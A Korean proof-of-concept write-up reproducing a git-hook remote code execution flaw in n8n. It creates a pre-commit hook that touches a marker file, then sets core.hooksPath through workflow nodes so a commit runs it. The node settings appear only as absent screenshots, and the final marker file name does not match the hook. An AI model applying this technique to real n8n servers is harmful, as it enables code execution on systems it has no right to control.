
CVE-2025-65964 재현
먼저 악성 파일이 포함된 리포지토리를 준비합니다
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <仓库地址>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
그런 다음 로컬에서 취약한 버전 범위에 속하는 n8n Docker 컨테이너를 실행합니다. 이 취약점은 영향 범위가 넓어 0.123.1 ≤ n8n < 1.119.2 모두 영향을 받으며, 여기서는 1.64.3을 사용합니다.
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
먼저, 1.64.3 버전의 전체 공격 흐름은 다음과 같습니다.
매개변수 구성은 그림과 같습니다.
이 노드와 다음 노드는 git이 파일에 변경 사항이 있을 때만 Commit을 허용하기 때문에, 먼저 아무 파일이나 하나 작성해 넣어야 하기 때문입니다.
매개변수 구성은 그림과 같습니다.

리포지토리에 파일을 씁니다.
매개변수 구성은 그림과 같습니다.

이 두 노드는 commit에 email과 username이 필요하기 때문에, 아무 값이나 두 개 입력하면 됩니다.
매개변수 구성은 그림과 같습니다.


핵심 단계로, core.hooksPath를 우리가 다운로드한 악성 디렉터리를 가리키게 하여 git이 hook을 실행할 때 우리가 지정한 디렉터리에서 찾도록 강제합니다(기본값은 .git/hooks).
(LD_PRELOAD를 납치하는 것과 비슷한 방식이라고 생각하면 됩니다.)
매개변수 구성은 그림과 같습니다.

이 단계는 취약점을 트리거하여 변조된 hook을 실행하는 데 사용됩니다.
매개변수 구성은 그림과 같습니다.

이 노드들을 모두 구성한 후 워크플로를 실행하면 됩니다.
그런 다음 Docker에서 확인해 보면 악성 파일 pwned_without_exec_node가 이미 생성된 것을 볼 수 있습니다.